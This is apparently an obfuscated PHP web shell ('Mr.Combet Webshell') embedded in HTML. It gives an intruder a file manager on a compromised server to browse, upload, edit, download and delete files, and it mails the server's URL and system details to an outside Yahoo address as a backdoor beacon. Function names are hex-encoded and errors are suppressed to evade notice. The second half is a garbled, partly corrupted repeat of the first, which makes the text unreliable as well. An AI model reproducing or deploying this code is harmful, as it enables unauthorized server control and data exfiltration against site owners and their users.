<!doctypehtml><html lang="en"><head><meta content="//dl.dropboxusercontent.com/s/gjdpc0so99lr8gt/combet.png"property="og:image"><meta content="Mr.Combet Webshell 🔥"property="og:title"><meta content="One Hat Cyber Team"property="og:description"><meta content="#ff0000"name="theme-color"><meta content="width=device-width,initial-scale=0.6,shrink-to-fit=no"name="viewport"><link href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"rel="stylesheet"><link href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><link href="//dl.dropboxusercontent.com/s/gjdpc0so99lr8gt/combet.png"rel="icon"><title>Mr.Combet Webshell 🔥</title><style>@import url(//fonts.googleapis.com/css2?family=Kelly+Slab&display=swap);body{color:#000;font-size:0;font-family:'Kelly Slab';width:99%;padding:0;margin-right:auto;margin-left:auto;margin-top:7px;margin-bottom:7px;background-color:#000!important}.bg-dark{background-color:#000!important}.border{box-shadow:0 0 10px red;border:2px solid #ff0!important;border-radius:5px;background:0 0}.border:hover{box-shadow:0 0 10px #ff0;border:2px solid red!important}.table td{padding:.1rem;box-shadow:inset 0 0 0 1px red;border-radius:2px}.table thead th{box-shadow:inset 0 0 0 1.5px red;color:#ff0;padding:.25rem;border-radius:5px;background:linear-gradient(to bottom,#000,#3f3f3f80)}.table-hover tbody tr:hover td{background:#ffff001a;box-shadow:inset 0 0 0 1px #ff0;border-radius:2px}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}.form-group{margin-top:1.5px;margin-bottom:1.5px}li{font-size:17px!important;color:#ff0!important;list-style:inherit!important}a{color:#fff!important;text-decoration:none!important}a:hover{text-decoration:none!important;color:#ff0!important}h5{margin-top:1.5px;margin-bottom:1.5px;font-size:18px!important;color:#ff0!important;padding:2px}textarea{width:97%;font-size:16px;font-family:inherit;height:44vh;padding-left:5px}button,input{border:2px solid #ff0;border-radius:5px;font-size:15px;color:#fff;line-height:normal;font-family:inherit;box-shadow:0 0 5px red}button,input:hover{border:2px solid red;cursor:pointer;box-shadow:0 0 5px #ff0}.ohct{padding-left:1rem;padding-right:1rem;color:#fff;border:2px solid #ff0;border-radius:5px;background-color:transparent;font-family:inherit;font-size:16px;box-shadow:0 0 5px red}.ohct:hover{border:2px solid red;color:#ff0!important;box-shadow:0 0 5px #ff0}.combet{color:#fff}.combet:hover{color:#ff0}.p-1{padding:4px}</style><style>.fa{padding:10px;font-size:20px;width:50px;text-align:center;text-decoration:none;margin:5px;color:#ff0}.fa:hover{border:2px solid red}.text-light{color:#f8f9fa!important;font-size:17px!important}</style><script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script></head><body><div class="text-light table-responsive"style="text-align:left;padding:4px;border:2px solid red;border-radius:5px"><div style="text-align:center;display:flex;align-items:center;justify-content:center;align-content:center"><a href="mailto:combetohct@yahoo.com"class="border fa fa-envelope"></a> <a href="https://bit.ly/3FaKtZd"class="border fa fa-facebook"></a> <a href="?"style="font-size:2rem;text-shadow:0 0 10px red"><span>Mr.Combet WebShell</span></a> <a href="https://bit.ly/3ELU2fs"class="border fa fa-whatsapp"></a> <a href="https://bit.ly/3Ue74Z0"class="border fa fa-telegram"></a></div><li>Your IP : <span style="color:#fff">goto W9ggd; IbRC9: header("\103\x6f\156\164\x65\x6e\164\x2d\x64\151\163\160\157\x73\x69\164\x69\x6f\x6e\72\40\141\164\164\x61\143\x68\155\145\x6e\164\x3b\x20\146\x69\x6c\145\x6e\141\155\145\x3d\x22" . jd($_GET["\x6e"]) . "\42"); goto YklOd; GaTZI: VZ: goto FPE9y; FvVzn: 


 goto s7iCz; GU0Uh: uH: goto zvpBQ; f9qBx:
</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"value="goto mV02G; XdBPZ: $lE++; goto U4B_p; mxN_J: function Xe($OB, $Ch = 1, $BL = '') { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: "{$xe}", text: "{$OB}", icon: "{$xe}"}).then((btnClick) => {if(btnClick){document.location.href="?p=" . Ss($Jd) . $BL . ""}})</script>"; } goto cGH8v; zfgSf: Mk: goto uZgBe; RKKIs: Xe("file failed to upload", 0); goto d9w0d; BAJLR: goto WC; goto w5Xv_; bQsTE: goto iL; goto k_wpU; V1ghh: define("Yp", ''); goto xkM0u; s_D6u: iL: goto GaTZI; QHAfE: Xe("file to delete the folder", 0); goto Tx5FW; JDctu: echo $_SERVER["SERVER_SOFTWARE"]; goto DXm3R; FPE9y: if (!($_GET["t"] == "f")) { goto xB; } goto vq8Le; E2Mqn:
</tbody></table><h5 style="color:#ff0"><font>© Copyright 2022</font> <font style="color:red">Mr.Combet</font> <font>Powered by </font><font style="color:red">One Hat Cyber Team</font></h5>goto e3gwn; hLl23: set_time_limit(0); goto BjM47; cGH8v: function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } goto aT2xJ; AOnCl:
"class="ohct">Submit</a></li><li>Add Directory : <a href="?p=goto DebEY; y2dvE: $G3 = $c8[5]($G3($Jd), array(, "..")); goto PM0Ws; MRd5z: isset($_POST["s"]) ? $c8[16]($Jd . "/" . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto iMW2_; uwGgw: Je: goto x6jOf; gYR5S: if (!isset($_GET["download"])) { goto FA; } goto NcaY1; LqskF:
</span></li></div><div class="text-light table-responsive"style="text-align:center;font-family:inherit;font-size:17px">goto vCEQw; OjUvo: dx: goto GClUc; bErSS: echo ss($Jd) . "&a=" . Ss("newFile"); goto AOnCl; vCEQw: if (!isset($_GET["a"])) { goto Un; } goto HH1y5; otxVq: Pb: goto kVzaj; BjM47: ini_set("memory_limit", "64M"); goto YvdRl; LjdP1: echo jd($_GET["n"]); goto TZ3Ku; Oh79h: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "  MB" : $kL . "  KB"; echo "\xa<tr>\xa<td style="text-align: left;">
<i class="fa fa-fw fa-file-o" style="border: 0;padding:;width:r85719em;"></i><a href="?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) . "">{$F1}</a></td>\xa<td><span>{$kL}</span></td>\xa<td><font color="" . ($c8[8]("{$Jd}/{$F1}") ? "0ff" : (!$c8[9]("{$Jd}/{$F1}") ? "#ff0000" : null)) . "">" . rN("{$Jd}/{$F1}") . "</font></td>
<td><a href="?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "" data-toggle="tooltip" data-placement="auto" title="Edit">Edit</a></td>\xa<td><a href="?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a></td>\xa<td><a href="?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "" class="delete" data-type="file" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a></td>
</tr>"; X1: } goto rCbZm; PuQVA: $im = Jd($_GET["a"]); goto LJ_kO; gix1O: if (!($lE < count($Wx))) { goto dx; } goto dR7nA; OXozg: if (!isset($_FILES["f"])) { goto ea; } goto xEjpb; U08Rt: echo $c8[18]($c8[14]($Jd . "/" . jd($_GET["n"]))); goto WfxK6; d9w0d: goto tG; goto DIRBb; UhDgt: $Jd = jD($_GET["p"]); goto s1sD0; AU7Jl:
</span></li><li>Server Software : <span style="color:#fff">goto JDctu; DIRBb: PG: goto W39Df; gWZO0:
</div>goto NXTOJ; Ttwg1: if ($im == "newDir") { goto Fg; } goto JeHOA; M0Qcl: unlink($BL); goto h6Top; z7tdP: goto WC; goto Yuz07; yB3oY: goto VN; goto c2BI0; lX859: th: goto gix1O; iMW2_: goto WC; goto ARObO; YDc90:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">Edit File Name : <font color="white">goto mdMX1; qhVgq:
<table class="table table-borderless table-hover table-sm"style="text-align:center;width:100%"><thead class="text-light"><tr><th style="width:45%">Name</th><th style="width:13%">Size</th><th style="width:13%">Permission</th><th colspan="3">Action</th></tr></thead><tbody class="text-light">goto y2dvE; b56t0: echo $c8[18]($c8[14]($Jd . "/" . jD($_GET["n"]))); goto tP7ac; IfTaW: Cy: goto XdBPZ; YvdRl: header("Content-Type: text/html; charset=UTF-8"); goto AOMD1; j_DaD: $lE = 0; goto lX859; e3gwn: mR: goto VUhmk; HH1y5: if (!isset($_GET["a"])) { goto cc; } goto PuQVA; AOMD1: $to = "combetohct@yahoo.com"; goto lL9gD; pwsFB: echo php_uname(); goto AU7Jl; ndTTn: $Op = $c8[4]("/(\\|\/)/", $Jd); goto pcgGt; x6jOf: if (isset($_GET["p"])) { goto sr; } goto OqAq0; NcaY1: header("Content-Type: application/octet-stream"); goto EUdwE; DebEY: echo Ss($Jd) . "&a=" . sS("newDir"); goto RwwD6; ppnFg:
</form></li></div><div class="text-light table-responsive"style="text-align:left;padding:4px;margin-bottom:3px;margin-top:3px;border:2px solid red;border-radius:5px"><li>Dir : <span>goto ndTTn; jLpgK: http_response_code(404); goto V1ghh; kVzaj:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New File Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"placeholder=""></div><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder=""style="resize:none"></textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto GQeqy; W39Df: XE("file uploaded successfully"); goto MhIT9; YGwXj: if (!($_GET["t"] == "d")) { goto VZ; } goto mTVtH; GClUc: ea: goto gYR5S; VvExo: VN: goto dVyrH; tP7ac:
</textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto rXiNK; NXTOJ: goto mR; goto lawr2; Su3m2: Xe("folder deleted successfully"); goto s_D6u; ZNHLS: header("Content-Length: " . $c8[17](JD($_GET["n"]))); goto IbRC9; r0L1f: echo jD($_GET["n"]); goto f9qBx; WsaO8: Lu: goto Ttwg1; coGOf: goto th; goto OjUvo; pcgGt: foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == '')) { goto xi; } echo "<a href="?p=2f" class="combet">~</a>/"; goto CS; xi: if (!($Oe == '')) { goto sq; } goto CS; sq: echo "<a class="combet" href="?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "">{$Oe}</a>/"; CS: } goto bvx4k; s1sD0: $c8[3](Jd($_GET["p"])); goto VvExo; DDS3y:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New Folder Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"autocomplete="off"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto QBply; bvx4k: Go: goto LqskF; xWZnJ: if (!($im == "delete")) { goto Lu; } goto ED8Jl; yih_D: echo phpversion(); goto wOL1C; B6HGT: $lE = 0; goto FyGL_; h70bS: echo gethostbyname($_SERVER["SERVER_NAME"]); goto rFV9d; LJ_kO: cc: goto f1yQa; f1yQa:
<div class="text-light table-responsive">goto xWZnJ; pRqZE:
</span></li><li>Server IP : <span style="color:#fff">goto h70bS; rXiNK: isset($_POST["s"]) ? $c8[13]($Jd . "/" . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto z7tdP; xkM0u: $G3 = "scandir"; goto hO6rl; O1H86: if ($im == "view") { goto Ag; } goto BAJLR; QBply: isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto B316e; Z2nZl: $pesan_alert = "[ {$x_path} ]"; goto a_Kyz; dR7nA: if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } goto RKKIs; uZgBe: xB: goto WsaO8; mTVtH: TF($BL); goto bfeKq; a_Kyz: mail($to, "ShellBackdoor", $pesan_alert, "[ " . php_uname() . " ]"); goto FvVzn; dVyrH: function Ss($SP) { $dE = ''; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } goto DofrI; g5_m5: goto WC; goto ZsISN; c2BI0: sr: goto UhDgt; rFV9d:
</span></li><li>Server : <span style="color:#fff">goto pwsFB; YFjKl: Xe("failed to delete the folder", 0); goto bQsTE; Yuz07: Ag: goto eq695; uH999: $c8[$lE] = JD($c8[$lE]); goto IfTaW; s7iCz: error_reporting(0); goto jLpgK; zvpBQ: xe("file deleted successfully"); goto zfgSf; mdMX1: echo Jd($_GET["n"]); goto M4r56; lL9gD: $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto Z2nZl; Tx5FW: goto Mk; goto GU0Uh; rCbZm: a2: goto E2Mqn; PT1kf: if ($im == "rename") { goto Lw; } goto bdIIo; bfeKq: if (!$c8[12]($BL)) { goto e8; } goto YFjKl; DXm3R:
</span></li><li>PHP Version : <span style="color:#fff">goto yih_D; YklOd: FA: goto ppnFg; X9c4z: g9: goto bRcir; W9ggd: echo gethostbyname($_SERVER["REMOTE_ADDR"]); goto pRqZE; h6Top: if (!$c8[12]($BL)) { goto uH; } goto QHAfE; EUdwE: header("Content-Transfer-Encoding: Binary"); goto ZNHLS; hO6rl: $c8 = array("70685f756e616d", "787065796f6e", "65746764", "6462", "70656f737c6974", "627f6966", "635f62", "69735f66696c65", "69735f777264616c65", "69735f61616c65", "66696c797a65", "6f79", "66696c655f78697373", "696c5f70745f6f6e746e7473", "66696c655f65745f6f6e746e73", "6d6b646972", "72656e616d65", "7374746f696d65", "646d6c73656369616c617273", "65", "66696c656d74696d65"); goto B6HGT; hB0K6: ad: goto Oh79h; L9qx1: WC: goto gWZO0; wOL1C:
</span></li><li>Add File : <a href="?p=goto bErSS; ED8Jl: $BL = $Jd . "/" . Jd($_GET["n"]); goto YGwXj; TZ3Ku:
</font></h5><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>goto U08Rt; OqAq0: $Jd = $c8[2](); goto yB3oY; lawr2: Un: goto qhVgq; ZsISN: Lw: goto QCG_D; GQeqy: isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("file name has been used", 0, "&a=" . SS("newFile")) : ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"]) ? XE('', 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"])) : Xe("file failed to create", 0)) : null; goto g5_m5; DofrI: function Jd($SP) { $dE = ''; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } goto hkJ0l; M4r56:
</font></h5><form method="post"><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10">goto b56t0; ARObO: Ox: goto YDc90; RwwD6:
"class="ohct">Submit</a></li><li><form method="post"enctype="multipart/form-data"style="padding:.1rem;display:inline-block"><input name="f[]"type="file"multiple> <input name="submit"class="ohct"value="Submit"type="submit">goto OXozg; bRcir: $lE++; goto coGOf; mV02G: echo jD($_GET["n"]); goto iKLED; bdIIo: if ($im == "edit") { goto Ox; } goto O1H86; w5Xv_: Fg: goto DDS3y; eq695:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">View File Name : <font color="white">goto LjdP1; xEjpb: $Wx = $_FILES["f"]["name"]; goto j_DaD; fV2Ky: if (!($lE < count($c8))) { goto Je; } goto uH999; k_wpU: e8: goto Su3m2; B316e: goto WC; goto otxVq; MhIT9: tG: goto X9c4z; VUhmk:
</div><script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script><script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script><script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script><script>eval(function(t,e,n,r,i,o){if(i=function(t){return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?String.fromCharCode(t+29):t.toString(36))},!"".replace(/^/,String)){for(;n--;)o[i(n)]=r[n]||i(n);r=[function(t){return o[t]}],i=function(){return"\\w+"},n=1}for(;n--;)r[n]&&(t=t.replace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));return t}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{}))</script></body></html>goto tOrpK; tOrpK: @ini_set("output_buffering", 0); goto xCnPK; WfxK6:
</textarea></div>goto L9qx1; QCG_D:
<h5 class="border p-1">Rename File :goto r0L1f; FyGL_: T4: goto fV2Ky; iKLED:
"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto MRd5z; JeHOA: if ($im == "newFile") { goto Pb; } goto PT1kf; xCnPK: @ini_set("display_errors", 0); goto hLl23; U4B_p: goto T4; goto uwGgw; PM0Ws: foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo " \xa<tr>\xa<td style="text-align: left;">\xa<i class="fa fa-fw fa-folder-o" style="border: 0;padding: 0;width:.28571429em;"></i><a href="?p=" . sS("{$Jd}/{$yf}") . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) . "">{$yf}</a></td>\xa<td style="color: black;"><span></span></td>\xa<td><font color="" . ($c8[8]("{$Jd}/{$yf}") ? "0ff" : (!$c8[9]("{$Jd}/{$yf}") ? "#ff" : null)) . "">" . RN("{$Jd}/{$yf}") . "</font></td>\xa<td style="color: black;width: 9.5%;"><span></span></td>
<td>\xa<a href="?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a>
</td>
<td>
<a href="?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "" class="delete" data-type="folder" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a>\xa</td>
</tr>"; Qj: } goto hB0K6; hkJ0l: function rn($F1) { $Jd = fileperms($F1); if (($Jd & 49152) == 49152) { goto FZ; } if (($Jd & 40960) == 40960) { goto Eu; } if (($Jd & 32768) == 32768) { goto ES; } if (($Jd & 24576) == 24576) { goto sA; } if (($Jd & 16384) == 16384) { goto lG; } if (($Jd & 8192) == 8192) { goto tV; } if (($Jd & 4096) == 4096) { goto Tx; } $lE = "u"; goto cC; FZ: $lE = "s"; goto cC; Eu: $lE = "l"; goto cC; ES: $lE = "-"; goto cC; sA: $lE = "b"; goto cC; lG: $lE = "d"; goto cC; tV: $lE = "c"; goto cC; Tx: $lE = "p"; cC: $lE .= $Jd & 256 ? "r" : "-"; $lE .= $Jd & 128 ? "w" : "-"; $lE .= $Jd & 64 ? $Jd & 2048 ? "s" : "x" : ($Jd & 2048 ? "S" : "-"); $lE .= $Jd & 32 ? "r" : "-"; $lE .= $Jd & 16 ? "w" : "-"; $lE .= $Jd & 8 ? $Jd & 1024 ? "s" : "x" : ($Jd & 1024 ? "S" : "-"); $lE .= $Jd & 4 ? "r" : "-"; $lE .= $Jd & 2 ? "w" : "-"; $lE .= $Jd & 1 ? $Jd & 512 ? "t" : "x" : ($Jd & 512 ? "T" : "-"); return $lE; } goto mxN_J; vq8Le: $BL = $Jd . "/" . jd($_GET["n"]); goto M0Qcl; aT2xJ:
<!doctypehtml><html lang="en"><head><meta content="//dl.dropboxusercontent.com/s/gjdpc0so99lr8gt/combet.png"property="og:image"><meta content="Mr.Combet Webshell 🔥"property="og:title"><meta content="One Hat Cyber Team"property="og:description"><meta content="#ff0000"name="theme-color"><meta content="width=device-width,initial-scale=0.6,shrink-to-fit=no"name="viewport"><link href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"rel="stylesheet"><link href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><link href="//dl.dropboxusercontent.com/s/gjdpc0so99lr8gt/combet.png"rel="icon"><title>Mr.Combet Webshell 🔥</title><style>@import url(//fonts.googleapis.com/css2?family=Kelly+Slab&display=swap);body{color:#000;font-size:0;font-family:'Kelly Slab';width:99%;padding:0;margin-right:auto;margin-left:auto;margin-top:7px;margin-bottom:7px;background-color:#000!important}.bg-dark{background-color:#000!important}.border{box-shadow:0 0 10px red;border:2px solid #ff0!important;border-radius:5px;background:0 0}.border:hover{box-shadow:0 0 10px #ff0;border:2px solid red!important}.table td{padding:.1rem;box-shadow:inset 0 0 0 1px red;border-radius:2px}.table thead th{box-shadow:inset 0 0 0 1.5px red;color:#ff0;padding:.25rem;border-radius:5px;background:linear-gradient(to bottom,#000,#3f3f3f80)}.table-hover tbody tr:hover td{background:#ffff001a;box-shadow:inset 0 0 0 1px #ff0;border-radius:2px}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}.form-group{margin-top:1.5px;margin-bottom:1.5px}li{font-size:17px!important;color:#ff0!important;list-style:inherit!important}a{color:#fff!important;text-decoration:none!important}a:hover{text-decoration:none!important;color:#ff0!important}h5{margin-top:1.5px;margin-bottom:1.5px;font-size:18px!important;color:#ff0!important;padding:2px}textarea{width:97%;font-size:16px;font-family:inherit;height:44vh;padding-left:5px}button,input{border:2px solid #ff0;border-radius:5px;font-size:15px;color:#fff;line-height:normal;font-family:inherit;box-shadow:0 0 5px red}button,input:hover{border:2px solid red;cursor:pointer;box-shadow:0 0 5px #ff0}.ohct{padding-left:1rem;padding-right:1rem;color:#fff;border:2px solid #ff0;border-radius:5px;background-color:transparent;font-family:inherit;font-size:16px;box-shadow:0 0 5px red}.ohct:hover{border:2px solid red;color:#ff0!important;box-shadow:0 0 5px #ff0}.combet{color:#fff}.combet:hover{color:#ff0}.p-1{padding:4px}</style><style>.fa{padding:10px;font-size:20px;width:50px;text-align:center;text-decoration:none;margin:5px;color:#ff0}.fa:hover{border:2px solid red}.text-light{color:#f8f9fa!important;font-size:17px!important}</style><script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script></head><body><div class="text-light table-responsive"style="text-align:left;padding:4px;border:2px solid red;border-radius:5px"><div style="text-align:center;display:flex;align-items:center;justify-content:center;align-content:center"><a href="mailto:combetohct@yahoo.com"class="border fa fa-envelope"></a> <a href="https://bit.ly/3FaKtZd"class="border fa fa-facebook"></a> <a href="?"style="font-size:2rem;text-shadow:0 0 10px red"><span>Mr.Combet WebShell</span></a> <a href="https://bit.ly/3ELU2fs"class="border fa fa-whatsapp"></a> <a href="https://bit.ly/3Ue74Z0"class="border fa fa-telegram"></a></div><li>Your IP : <span style="color:#fff">goto W9ggd; IbRC9: header("Content-disposition: attachment; filename="" . jd($_GET["n"]) . """); goto YklOd; GaTZI: VZ: goto FPE9y; FvVzn: 


 goto s7iCz; GU0Uh: uH: goto zvpBQ; f9qBx:
</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"value="goto mV02G; XdBPZ: $lE++; goto U4B_p; mxN_J: function Xe($OB, $Ch = 1, $BL = '') { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: "{$xe}", text: "{$OB}", icon: "{$xe}"}).then((btnClick) => {if(btnClick){documentlocationhref="?p=" . Ss($Jd) . $BL . ""}})</script>"; } goto cGH8v; zfgSf: Mk: goto uZgBe; RKKIs: Xe("file failed to upload", 0); goto d9w0d; BAJLR: goto WC; goto w5Xv_; bQsTE: goto iL; goto k_wpU; V1ghh: define("Yp", ''); goto xkM0u; s_D6u: iL: goto GaTZI; QHAfE: Xe("file to delete the folder", 0); goto Tx5FW; JDctu: echo $_SERVER["SERVER_SOFTWARE"]; goto DXm3R; FPE9y: if (!($_GET["t"] == "f")) { goto xB; } goto vq8Le; E2Mqn:
</tbody></table><h5 style="color:#ff0"><font>© Copyright 2022</font> <font style="color:red">MrCombet</font> <font>Powered by </font><font style="color:red">One Hat Cyber Team</font></h5>goto e3gwn; hLl23: set_time_limit(0); goto BjM47; cGH8v: function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === '')) { goto IE; } return; IE: if ("""($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yfDIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } goto aT2xJ; AOnCl:
"class="ohct">Submit</a></li><li>Add Directory : <a href="?p=goto DebEY; y2dvE: $G3 = "("($G3($Jd), array(, "..")); goto PM0Ws; MRd5z: isset($_POST["s"]) ? "6"($Jd . "/" . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto iMW2_; uwGgw: Je: goto x6jOf; gYR5S: if (!isset($_GET["download"])) { goto FA; } goto NcaY1; LqskF:
</span></li></div><div class="text-light table-responsive"style="text-align:center;font-family:inherit;font-size:17px">goto vCEQw; OjUvo: dx: goto GClUc; bErSS: echo ss($Jd) . "&a=" . Ss("newFile"); goto AOnCl; vCEQw: if (!isset($_GET["a"])) { goto Un; } goto HH1y5; otxVq: Pb: goto kVzaj; BjM47: ini_set("memory_limit", "64M"); goto YvdRl; LjdP1: echo jd($_GET["n"]); goto TZ3Ku; Oh79h: foreach ($G3 as $F1) { if ("7"("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = "8"("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "  MB" : $kL . "  KB"; echo "\xa<tr>\xa<td style="text-align: left;">
<i class="fa fa-fw fa-file-o" style="border: 0;padding:;width:r85719em;"></i><a href="?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on 1"("Y-m-d H:i", "6"("{$Jd}/{$F1}")) . "">{$F1}</a></td>\xa<td><span>{$kL}</span></td>\xa<td><font color="" . ("0"("{$Jd}/{$F1}") ? "0ff" : (!"6"("{$Jd}/{$F1}") ? "#ff0000" : null)) . "">" . rN("{$Jd}/{$F1}") . "</font></td>
<td><a href="?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "" data-toggle="tooltip" data-placement="auto" title="Edit">Edit</a></td>\xa<td><a href="?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a></td>\xa<td><a href="?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "" class="delete" data-type="file" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a></td>
</tr>"; X1: } goto rCbZm; PuQVA: $im = Jd($_GET["a"]); goto LJ_kO; gix1O: if (!($lE < count($Wx))) { goto dx; } goto dR7nA; OXozg: if (!isset($_FILES["f"])) { goto ea; } goto xEjpb; U08Rt: echo "6"("7"($Jd . "/" . jd($_GET["n"]))); goto WfxK6; d9w0d: goto tG; goto DIRBb; UhDgt: $Jd = jD($_GET["p"]); goto s1sD0; AU7Jl:
</span></li><li>Server Software : <span style="color:#fff">goto JDctu; DIRBb: PG: goto W39Df; gWZO0:
</div>goto NXTOJ; Ttwg1: if ($im == "newDir") { goto Fg; } goto JeHOA; M0Qcl: unlink($BL); goto h6Top; z7tdP: goto WC; goto Yuz07; yB3oY: goto VN; goto c2BI0; lX859: th: goto gix1O; iMW2_: goto WC; goto ARObO; YDc90:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">Edit File Name : <font color="white">goto mdMX1; qhVgq:
